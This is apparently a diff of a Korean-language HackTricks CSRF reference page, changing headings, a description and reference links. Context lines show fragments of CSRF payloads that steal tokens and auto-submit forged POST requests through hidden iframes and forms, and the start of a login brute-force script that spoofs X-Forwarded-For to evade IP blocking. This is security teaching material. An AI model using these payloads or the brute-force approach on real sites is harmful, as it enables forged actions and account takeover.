| ```html | ||||
| <form | ||||
| id="form1" | ||||
| @ -501,7 +583,7 @@ style="display:none" | ||||
| src="http://google.com?param=VALUE" | ||||
| onload="javascript:f1();"></iframe> | ||||
| ``` | ||||
| ### **CSRF Token을 훔치고 iframe과 form을 사용하여 POST 요청 보내기** | ||||
| ### **CSRF Token을 탈취하고 iframe과 form을 사용해 POST 요청을 전송** | ||||
| ```html | ||||
| <iframe | ||||
| id="iframe" | ||||
| @ -534,7 +616,7 @@ document.forms[0].submit.click() | ||||
| } | ||||
| </script> | ||||
| ``` | ||||
| ### **token을 훔쳐서 2개의 iframes로 전송하기** | ||||
| ### **token을 탈취하고 2개의 iframes로 전송** | ||||
| ```html | ||||
| <script> | ||||
| var token; | ||||
| @ -564,7 +646,7 @@ height="600" width="800"></iframe> | ||||
| <button type="submit">Submit</button> | ||||
| </form> | ||||
| ``` | ||||
| ### **POSTSteal CSRF 토큰을 Ajax로 훔치고 form으로 POST 전송하기** | ||||
| ### **POSTSteal CSRF token을 Ajax로 훔치고 form으로 POST 요청 전송** | ||||
| ```html | ||||
| <body onload="getData()"> | ||||
| <form | ||||
| @ -617,7 +699,7 @@ room: username, | ||||
| ``` | ||||
| ## CSRF Login Brute Force | ||||
| 
 | ||||
| 코드는 CSRF token을 사용해 login form에 대해 Brute Force 공격을 수행하는 데 사용할 수 있습니다 (또한 X-Forwarded-For 헤더를 사용하여 가능한 IP blacklisting을 우회하려 시도합니다): | ||||
| 이 코드는 CSRF token을 사용하여 로그인 폼에 대해 Brut Force 공격을 수행하는 데 사용할 수 있습니다(또한 잠재적인 IP blacklisting을 우회하기 위해 X-Forwarded-For 헤더를 사용합니다): | ||||
| ```python | ||||
| import request | ||||
| import re | ||||
| @ -665,6 +747,7 @@ login(USER, line.strip()) | ||||
| 
 | ||||
| - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) | ||||
| - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) | ||||
| - [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp) | ||||
| 
 | ||||
| ## 참고자료 | ||||
| 
 | ||||
| @ -673,5 +756,11 @@ login(USER, line.strip()) | ||||
| - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) | ||||
| - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) | ||||
| - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) | ||||
| - [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) | ||||
| - [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) | ||||
| - [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) | ||||
| - [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf) | ||||
| - [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery) | ||||
| - [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/) | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user